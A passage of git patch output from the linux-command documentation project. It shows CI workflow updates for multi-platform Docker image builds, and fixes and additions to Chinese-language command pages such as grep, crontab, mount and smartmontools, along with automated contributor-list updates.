docker buildx build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From 9a6c090df6c87d6c623ffbf7ef368f4273f276c6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:40:39 +0800 Subject: [PATCH 080/570] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 25298f6ead2..c81ab466514 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker buildx build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From 73c14bb5119b689073b02ea78eda759365bef8fb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:44:02 +0800 Subject: [PATCH 081/570] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c81ab466514..231f770eaa9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From adc9c47463e45cd5151d5805b377b35f81166a09 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 23 Nov 2022 01:27:31 +0800 Subject: [PATCH 082/570] doc: update workflows config. #454 --- .github/workflows/ci.yml | 107 +++++++++++++++++++++++++++++---------- 1 file changed, 79 insertions(+), 28 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 231f770eaa9..8d362975c73 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -127,39 +127,90 @@ jobs: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json # Create Docker Image - - name: Docker login - run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - - - name: Build linux-command image - run: | - rm -rf .deploy/linux-command.docset.tgz - docker image build -t linux-command . + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + - name: Login to Docker Hub + uses: docker/login-action@v2 + with: + username: ${{ secrets.DOCKER_USER }} + password: ${{ secrets.DOCKER_PASSWORD }} - - name: Tags & Push image(latest) - run: | - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest - docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + - name: Build and push image:latest + uses: docker/build-push-action@v3 + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:latest - - name: Tags & Push image + - name: Build and push image:tags + uses: docker/build-push-action@v3 if: steps.create_tag.outputs.successful - run: | - echo "outputs.tag - ${{ steps.changelog.outputs.version }}" - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} # Create Docker Image in Github - - name: Login to GitHub registry - run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - - - name: Build docker image - run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + - name: Login to the GitHub Container Registry + uses: docker/login-action@v2 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} - - name: Publish to GitHub registry - run: docker push ghcr.io/jaywcjlove/linux-command:latest + - name: Build and push image:latest + uses: docker/build-push-action@v3 + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ghcr.io/jaywcjlove/linux-command:latest - - name: Tag docker image (beta) and publish to GitHub registry + - name: Build and push image:tags + uses: docker/build-push-action@v3 if: steps.create_tag.outputs.successful - run: | - echo "version: v${{ steps.changelog.outputs.version }}" - docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} - docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image + # - name: Docker login + # run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + # - name: Build linux-command image + # run: | + # rm -rf .deploy/linux-command.docset.tgz + # docker image build -t linux-command . + + # - name: Tags & Push image(latest) + # run: | + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + # docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + # - name: Tags & Push image + # if: steps.create_tag.outputs.successful + # run: | + # echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + # docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image in Github + # - name: Login to GitHub registry + # run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + # - name: Build docker image + # run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + # - name: Publish to GitHub registry + # run: docker push ghcr.io/jaywcjlove/linux-command:latest + + # - name: Tag docker image (beta) and publish to GitHub registry + # if: steps.create_tag.outputs.successful + # run: | + # echo "version: v${{ steps.changelog.outputs.version }}" + # docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file From 41bb1087d955c7421e72385dc1d78b0164d0acaa Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 23 Nov 2022 01:32:52 +0800 Subject: [PATCH 083/570] released v1.13.1 #454 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 5c7c4b4d0b1..fe25adb0d02 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.13.0", + "version": "1.13.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From db498ec40123edd7f4b0901fd05b52b051bf74b3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 27 Nov 2022 17:29:43 +0800 Subject: [PATCH 084/570] doc: update grep.md fix #455 --- command/grep.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/grep.md b/command/grep.md index 2fd54ef2c8b..e52082e6ce1 100644 --- a/command/grep.md +++ b/command/grep.md @@ -50,7 +50,7 @@ $ # 锚定行的结束 如：'grep$' 匹配所有以grep结尾的行。 * # 匹配零个或多个先前字符 如：'*grep'匹配所有一个或多个空格后紧跟grep的行。 .* # 一起用代表任意字符。 [] # 匹配一个指定范围内的字符，如'[Gg]rep'匹配Grep和grep。 -[^] # 匹配一个不在指定范围内的字符，如：'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头，紧跟rep的行。 +[^] # 匹配一个不在指定范围内的字符，如：'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头，紧跟 rep 的行 \(..\) # 标记匹配字符，如'\(love\)'，love被标记为1。 \< # 锚定单词的开始，如:'\ # 锚定单词的结束，如'grep\>'匹配包含以grep结尾的单词的行。 From 323db5aced66c1072f9e178ac6bf2f0fab1d38e4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 29 Nov 2022 19:51:52 +0800 Subject: [PATCH 085/570] fix: fix typo. fix #457 --- command/git.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/git.md b/command/git.md index d12a54a8166..69d52a5db3e 100644 --- a/command/git.md +++ b/command/git.md @@ -90,7 +90,7 @@ remote push ```shell -git push -u origin master # push同事设置默认跟踪分支 +git push -u origin master # push 同时设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件，缩写 -f（全写--force） ``` From 8980bfcc3576e7c55bc7525d111611a2ed82344f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Sat, 3 Dec 2022 17:03:33 +0800 Subject: [PATCH 086/570] Update cut.md (#458) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 截取最后N 个字符 --- command/cut.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/command/cut.md b/command/cut.md index 40674dea51c..4112fb824e6 100644 --- a/command/cut.md +++ b/command/cut.md @@ -157,4 +157,17 @@ efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz ``` +打印最后5个字符: + +遗憾的是, `cut`并没有提供最后字符的支持. 不过我们可以通过字符串反转来实现. + +```shell +[root@localhost text]# cat test.txt| rev | cut -c -5 | rev +vwxyz +vwxyz +vwxyz +vwxyz +vwxyz +``` + From 3b9f951915a0006579434f78e0212bde4310c0d7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 3 Dec 2022 09:04:22 +0000 Subject: [PATCH 087/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 57c50229f6f..6fe25007bee 100644 --- a/README.md +++ b/README.md @@ -361,12 +361,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - Glett - 烟草的香味 + + Glett + 项金 From 8cbc5bd9055e35ce83960ae8017cf6902172d625 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 3 Dec 2022 09:04:23 +0000 Subject: [PATCH 088/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index e869c0a4520..b2d05b8d75c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,12 +24,12 @@ clay-wangzhi - - Glett - 烟草的香味 + + Glett + 项金 From 37ddbe88646832c4484e9e149aedc3933d57edb7 Mon Sep 17 00:00:00 2001 From: Xrtero <55886907+Xrtero@users.noreply.github.com> Date: Tue, 20 Dec 2022 14:46:33 +0800 Subject: [PATCH 089/570] Update ssh-keygen.md (#461) --- command/ssh-keygen.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/ssh-keygen.md b/command/ssh-keygen.md index 1d0863f7369..96dd389aac6 100644 --- a/command/ssh-keygen.md +++ b/command/ssh-keygen.md @@ -26,6 +26,6 @@ ssh-keygen(选项) -P：提供（旧）密语； -q：静默模式； -t：指定要创建的密钥类型。 +-y: 读取私钥输出公钥。 ``` - From 37cb4d63e107b2543a5c96e5c652f7d3293e75da Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 20 Dec 2022 06:47:04 +0000 Subject: [PATCH 090/570] doc: update README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6fe25007bee..76d84118d5e 100644 --- a/README.md +++ b/README.md @@ -373,8 +373,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jayin Taung - - Zhang Zijing + + Zijing Zhang Fubin Zhang @@ -529,6 +529,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xiaodong DENG + + Xrtero + Xu Chunyang From 1d71a35a06f5dbe98c3216dc540b86be99902641 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 20 Dec 2022 06:47:05 +0000 Subject: [PATCH 091/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index b2d05b8d75c..7a1bd918165 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -36,8 +36,8 @@ Jayin Taung - - Zhang Zijing + + Zijing Zhang Fubin Zhang @@ -192,6 +192,9 @@ Xiaodong DENG + + Xrtero + Xu Chunyang From d85f04fc6948d49c46ff2a49eef99f7771e371ef Mon Sep 17 00:00:00 2001 From: Xrtero <55886907+Xrtero@users.noreply.github.com> Date: Wed, 21 Dec 2022 17:33:58 +0800 Subject: [PATCH 092/570] Update ssh-copy-id.md (#462) --- command/ssh-copy-id.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/command/ssh-copy-id.md b/command/ssh-copy-id.md index 80d3cae5f5f..1291f755d4f 100644 --- a/command/ssh-copy-id.md +++ b/command/ssh-copy-id.md @@ -7,6 +7,8 @@ ssh-copy-id **ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上，ssh-copy-id命令也会给远程主机的用户主目录（home）和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。 +**ssh-copy-id** 使用ssh登陆远程服务器，一般是通过密码校验用户身份，所以在sshd的配制中应该启用密码校验方式： + 将/etc/ssh/sshd_config中的PasswordAuthentication设置为yes，之后重启sshd ### 语法 ```shell From 399b27c7de28f04d194bfb18f616a0954ef222ed Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 21 Dec 2022 09:34:39 +0000 Subject: [PATCH 093/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 76d84118d5e..b5a38498aeb 100644 --- a/README.md +++ b/README.md @@ -418,6 +418,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang + + Xrtero + Dazhuangw @@ -529,9 +532,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xiaodong DENG - - Xrtero - Xu Chunyang From 2ef52e434305b635249831905146111ba526f9bd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 21 Dec 2022 09:34:40 +0000 Subject: [PATCH 094/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 7a1bd918165..4ce490df0f5 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -81,6 +81,9 @@ Xingwen Zhang + + Xrtero + Dazhuangw @@ -192,9 +195,6 @@ Xiaodong DENG - - Xrtero - Xu Chunyang From df28a4a1fb5f2f1a72126e7b81823a2c53f27ca5 Mon Sep 17 00:00:00 2001 From: sunls24 Date: Mon, 9 Jan 2023 13:30:25 +0800 Subject: [PATCH 095/570] fix corntab example (#463) --- command/crontab.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/command/crontab.md b/command/crontab.md index 962e443a538..f691ff50ccd 100644 --- a/command/crontab.md +++ b/command/crontab.md @@ -176,13 +176,13 @@ chkconfig –level 35 crond on 每一小时重启smb  ```shell -* */1 * * * /etc/init.d/smb restart +0 */1 * * * /etc/init.d/smb restart ``` 晚上11点到早上7点之间，每隔一小时重启smb ```shell -* 23-7/1 * * * /etc/init.d/smb restart +0 23-7/1 * * * /etc/init.d/smb restart ``` 每月的4号与每周一到周三的11点重启smb  From 0ac3221d3cffc906ae17237652037da0b46094f9 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jan 2023 05:31:25 +0000 Subject: [PATCH 096/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index b5a38498aeb..ccc9692db2a 100644 --- a/README.md +++ b/README.md @@ -640,6 +640,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + sunls24 + UniqueDing From 29d9f9808dff427000287a5affdfe467922c3992 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jan 2023 05:31:26 +0000 Subject: [PATCH 097/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 4ce490df0f5..d15b7fd71d2 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -303,6 +303,9 @@ snovey + + sunls24 + UniqueDing From c2d0b9de8c5223e48b353337ad7b0d0e975e3805 Mon Sep 17 00:00:00 2001 From: asunrong <103101986+asunrong@users.noreply.github.com> Date: Fri, 10 Feb 2023 10:28:29 +0800 Subject: [PATCH 098/570] doc: Update lsof.md (#466) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 查看指定端口的占用 --- command/lsof.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/command/lsof.md b/command/lsof.md index 7dca696be9f..5c419977c19 100644 --- a/command/lsof.md +++ b/command/lsof.md @@ -156,5 +156,8 @@ lsof -i:9981 -P -t -sTCP:LISTEN ```shell lsof $filename ``` - +查看端口占用 +```shell +lsof -i:$port +``` From ed9b85cc344e1ebf12401d3d2728bd68559b7c44 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 10 Feb 2023 02:29:08 +0000 Subject: [PATCH 099/570] doc: update README.md. --- README.md | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index ccc9692db2a..fe42563dd71 100644 --- a/README.md +++ b/README.md @@ -427,7 +427,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wa7t - + Shell @@ -523,8 +523,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Spaghetti-C - - 王杰 + + iwangjie Wingrez @@ -550,6 +550,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 amit794 + + asunrong + bell @@ -616,8 +619,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 linuxwd - - logicwang + + Ricardowang cole From 805f5cc238530d8b89f22417c6273a315921ccec Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 10 Feb 2023 02:29:09 +0000 Subject: [PATCH 100/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d15b7fd71d2..0e71ee508df 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -90,7 +90,7 @@ wa7t - + Shell @@ -186,8 +186,8 @@ Spaghetti-C - - 王杰 + + iwangjie Wingrez @@ -213,6 +213,9 @@ amit794 + + asunrong + bell @@ -279,8 +282,8 @@ linuxwd - - logicwang + + Ricardowang cole From 18a1ddaeec0ed0984d821f19d6bcf6e674f4ce8e Mon Sep 17 00:00:00 2001 From: Xonline-Tech <55641276+Xonline-Tech@users.noreply.github.com> Date: Mon, 13 Feb 2023 10:36:17 +0800 Subject: [PATCH 101/570] =?UTF-8?q?doc:=20=E4=BF=AE=E6=AD=A3sftp=E5=AE=9E?= =?UTF-8?q?=E4=BE=8B=E4=B8=AD=EF=BC=8C=E5=BB=BA=E7=AB=8B=E8=81=94=E6=8E=A5?= =?UTF-8?q?=E5=AE=9E=E4=BE=8B=E9=94=99=E8=AF=AF=20(#467)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `sfpt`->`sftp` --- command/sftp.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/sftp.md b/command/sftp.md index dfa476f13fb..07ea755792b 100644 --- a/command/sftp.md +++ b/command/sftp.md @@ -35,7 +35,7 @@ sftp(选项)(参数) 建立联接 ```shell -$ sfpt username@1.1.1.1 # 回车输入密码 +$ sftp username@1.1.1.1 # 回车输入密码 ``` 获取文件下载到指定路径 From e84a6f5ff9bf092cba59f47af4628af27f1c4cf4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 02:36:50 +0000 Subject: [PATCH 102/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index fe42563dd71..b9120321c72 100644 --- a/README.md +++ b/README.md @@ -532,6 +532,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xiaodong DENG + + Xonline-Tech + Xu Chunyang From 67c5f56afa96862f68b82abd2fb893e20d306e69 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 02:36:50 +0000 Subject: [PATCH 103/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 0e71ee508df..8e4d01c33aa 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -195,6 +195,9 @@ Xiaodong DENG + + Xonline-Tech + Xu Chunyang From 8f289418fa1af6c3e3c1acc1b2c85f7ba9161acb Mon Sep 17 00:00:00 2001 From: wlf-darkmatter <62014693+wlf-darkmatter@users.noreply.github.com> Date: Mon, 13 Feb 2023 16:46:34 +0800 Subject: [PATCH 104/570] doc: Update mount.md (#469) --- command/mount.md | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/command/mount.md b/command/mount.md index 43b8e93d80c..fc284307895 100644 --- a/command/mount.md +++ b/command/mount.md @@ -7,6 +7,8 @@ mount **mount命令** Linux mount命令是经常会使用到的命令，它用于挂载Linux系统外的文件。 +如果通过webdav协议挂载网络磁盘，需要运行指令`apt install davfs2`安装必要的组件 + ### 语法 ```shell @@ -46,7 +48,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o loop=：使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 ``` -### 实例 +### 实例1 将 `/dev/hda1` 挂在 `/mnt` 之下。 @@ -66,6 +68,14 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir #mount -o loop /tmp/image.iso /mnt/cdrom ``` +### 实例2 +通过 webdav 协议挂载网络硬盘 + +将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount` + +```shell +mount -t davfs https://your.webdav.link.here /path/to/mount +``` From e35a60bec84c125c92143850edefcd1d04e19bcd Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 08:47:12 +0000 Subject: [PATCH 105/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index b9120321c72..06c997e3e75 100644 --- a/README.md +++ b/README.md @@ -655,6 +655,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 weibk + + wlf-darkmatter + yanyx From 6b7b6607e01d11f119bb07a23cfd213397a8fba0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 13 Feb 2023 08:47:13 +0000 Subject: [PATCH 106/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8e4d01c33aa..287ca782550 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -318,6 +318,9 @@ weibk + + wlf-darkmatter + yanyx From 4ca0b553075a1ea1042cf26787cc2c0739beb644 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 22 Feb 2023 10:08:21 +0800 Subject: [PATCH 107/570] doc: Update tree. --- command/tree.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/command/tree.md b/command/tree.md index a9da13b8277..1e77168785f 100644 --- a/command/tree.md +++ b/command/tree.md @@ -119,4 +119,17 @@ tree -if /private/ /private/tftpboot ``` +显示所有文件目录(包括隐藏文件)并忽略(node_modules|.git)目录，展示(`-L 2`)两层。 + +```shell +$ tree -I 'node_modules|.git' -L 2 -a + +. +├── .github +│   └── workflows +├── LICENSE +├── README.md +└── renovate.json +``` + From 05bc9a8c6318eb3115e56235cd6a62bf25ab472e Mon Sep 17 00:00:00 2001 From: tangke Date: Fri, 24 Feb 2023 21:21:01 +0800 Subject: [PATCH 108/570] doc: create smartmontools.md (#471) Co-authored-by: tang.ke --- command/smartmontools .md | 93 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 command/smartmontools .md diff --git a/command/smartmontools .md b/command/smartmontools .md new file mode 100644 index 00000000000..9627ff61967 --- /dev/null +++ b/command/smartmontools .md @@ -0,0 +1,93 @@ +Smartmontools +=== + +Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的 + +### 安装 +```shell +sudo aptitude install smartmontools +``` + +### 语法 + +```shell +smartctl (选项) (参数) +``` + +### 选项 +```shell +-i <硬盘> 显示硬盘设备的标识信息 +-a <硬盘> 显示设备的所有SMART信息 +-H <硬盘> 显示设备的健康信息 +-A <硬盘> 显示设备SMART供应商特定的属性和值 +``` + +### 参数 +硬盘设备：指定要查看的硬盘(可以使用 fdisk -l 获取有哪些硬盘设备) + +```shell +~ sudo fdisk -l +设备 起点 末尾 扇区 大小 类型 +/dev/sda1 2048 1050623 1048576 512M EFI 系统 +/dev/sda2 1050624 976771071 975720448 465.3G Linux 文件系统 +``` + +### 实例 + +查看 /dev/sda1 硬盘的健康状态，在这个命令中，"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持，那就省略它。\ +（PASSED 表示健康；FAILED 表示即将出现故障所以需要开始备份这块磁盘上的重要数据） +```shell +~ sudo smartctl -s on -H /dev/sda1 + +=== START OF READ SMART DATA SECTION === +SMART overall-health self-assessment test result: PASSED +``` + +查看 /dev/sda1 硬盘特定的属性和值 +(Power_On_Hours: 表示通电时长 18195 小时) +```shell +~ sudo smartctl -A /dev/sda1 + +=== START OF READ SMART DATA SECTION === +SMART Attributes Data Structure revision number: 16 +Vendor Specific SMART Attributes with Thresholds: +ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE + 3 Spin_Up_Time 0x0023 100 100 002 Pre-fail Always - 1326 + 4 Start_Stop_Count 0x0032 100 100 000 Old_age Always - 3752 + 9 Power_On_Hours 0x0032 055 055 000 Old_age Always - 18195 + 10 Spin_Retry_Count 0x0033 174 100 030 Pre-fail Always - 0 + 12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 3118 +183 Runtime_Bad_Block 0x0032 100 100 001 Old_age Always - 0 +184 End-to-End_Error 0x0033 100 100 097 Pre-fail Always - 0 +185 Unknown_Attribute 0x0032 100 100 001 Old_age Always - 65535 +187 Reported_Uncorrect 0x0032 001 001 000 Old_age Always - 134 +188 Command_Timeout 0x0032 100 098 000 Old_age Always - 48 +191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 2850 +192 Power-Off_Retract_Count 0x0022 100 100 000 Old_age Always - 32047593 +193 Load_Cycle_Count 0x0032 095 095 000 Old_age Always - 51738 +194 Temperature_Celsius 0x0022 060 055 040 Old_age Always - 40 (Min/Max 16/44) +``` + +#### 以指定的间隔运行，同时又能通知硬盘的测试结果 +首先，编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd，并以秒为单位指定间隔时间（如7200 = 2小时） + +```shell +start_smartd=yes +smartd_opts="--interval=7200" +``` + +下一步，编辑smartd的配置文件（/etc/smartd.conf），添加以下行内容。 +```shell +/dev/sda -m myemail@mydomain.com -M test +``` + +选项说明 \ +-m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于myemail@mydomain.com的邮件地址。\ +-M ：指定发送邮件报告的期望类型。\ +once：为检测到的每种磁盘问题只发送一封警告邮件。\ +daily：为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。\ +diminishing：为检测到的每种问题发送一封额外的警告提醒邮件，开始是每隔一天，然后每隔两天，每隔四天，以此类推。每个间隔是前一次间隔的2倍。\ +test：只要smartd一启动，立即发送一封测试邮件。\ +exec PATH：取代默认的邮件命令，运行PATH路径下的可执行文件。PATH必须指向一个可执行的二进制文件或脚本。当检测到一个问题时，可以指定执行一个期望的动作（闪烁控制台、关闭系统等等）。 + +保存改动并重启smartd。 \ No newline at end of file From 44d0386355a3a99dc9640c066a65a0b28f2dac18 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 24 Feb 2023 13:22:04 +0000 Subject: [PATCH 109/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 06c997e3e75..85c8c05a7a8 100644 --- a/README.md +++ b/README.md @@ -649,6 +649,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 sunls24 + + tangke + UniqueDing From 88f35554636fd99772f44abcdb2a8509af26dbb2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" 